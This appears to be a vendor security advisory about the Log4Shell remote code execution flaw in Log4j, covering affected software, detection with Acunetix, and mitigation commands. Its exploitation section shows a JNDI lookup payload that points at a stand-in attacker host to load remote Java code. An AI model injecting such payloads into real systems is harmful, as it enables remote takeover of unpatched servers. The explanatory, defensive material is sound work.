What is Log4Shell?
Log4Shell is an unauthenticated remote code execution (RCE, code injection) vulnerability. By exploiting it, the attacker can easily execute any code from a remote source on the attacked target.
Log4Shell was first discovered by Chen Zhaojun from the Alibaba Cloud Security team. The first software affected and exploited using this vulnerability was Minecraft. While at the time of discovery it was a zero-day vulnerability, information about it was released to the public only when a fix was already available.
How is Log4Shell exploited?
To exploit Log4Shell, the attacker may use any user input that is subsequently logged by the Log4j framework. For example, in the case of a web application, it may be any text entry field or basic headers such as User-Agent. Server logging is often set to log headers as well as form data.
The attacker only needs to include the following string in the logged user input:
${jndi:ldap://attacker.com/executeme}
Where attacker.com is a server controlled by the attacker and executeme is the Java class to be executed on the victim server. And this is just one of many ways to exploit this vulnerability.
What software is affected by Log4Shell?
The Log4Shell vulnerability may affect all Log4j 2 versions as well as many Log4j 1 versions. The only versions of Log4j that are considered safe are 2.15.0 and up (but version 2.16.0 is recommended due to CVE-2021-45046).
The Log4j framework is one of the most commonly used libraries in the world. This means that many other software products use it, too. Here are some software components and packages that are known to be affected: Elasticsearch, Grails, Hadoop, Kafka, Kibana, Solr, Spark, Struts, Tapestry, Wicket, and more.
Here is a list of some companies indirectly affected (via the software supply chain) by this vulnerability: Google, Amazon, Tesla, CloudFlare, PayPal, Netflix, Twitter, LinkedIn, Apple, VMWare, and more. There is a very high probability that you are affected as well and not just your web applications.
How to check if you are affected by Log4Shell?
For web applications, Acunetix now has a check to detect the Log4Shell vulnerability.
If you are using Acunetix on-premises, update your Acunetix installation to the latest version (build 14.6.211213163) and scan all your web assets. If you are using Acunetix online, simply scan all your web assets at your earliest convenience. If you are using the Acunetix SCA, you can also already detect if your web applications are vulnerable to Log4Shell.
If you want to check whether your other assets (non-web) are affected, you need to manually check every Java installation to see if Log4j is used, which version, and how it is configured. You can follow this extensive guide for manual detection.
How to mitigate Log4Shell attacks?
To mitigate Log4Shell:
Immediately upgrade your Log4j installation to version 2.16.0 or higher.
If you cannot upgrade to 2.16.0 or higher, choose one of the following temporary solutions:
Modify the JNDI manually or by using tools such as hotpatch-for-apache-log4j2
Remove the JndiLookup class from the classpath:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
If you are using version 2.10.0 or later, set formatMsgNoLookups=true when you configure Log4j (but note that this does not guarantee complete protection due to CVE-2021-45046):
Pass an argument when invoking Java:
java -Dlog4j2.formatMsgNoLookups=true ...
Set the environment variable:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true java ...
Set the JVM arguments environment variable:
JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true
Note that a web application firewall will not be able to protect you from Log4Shell.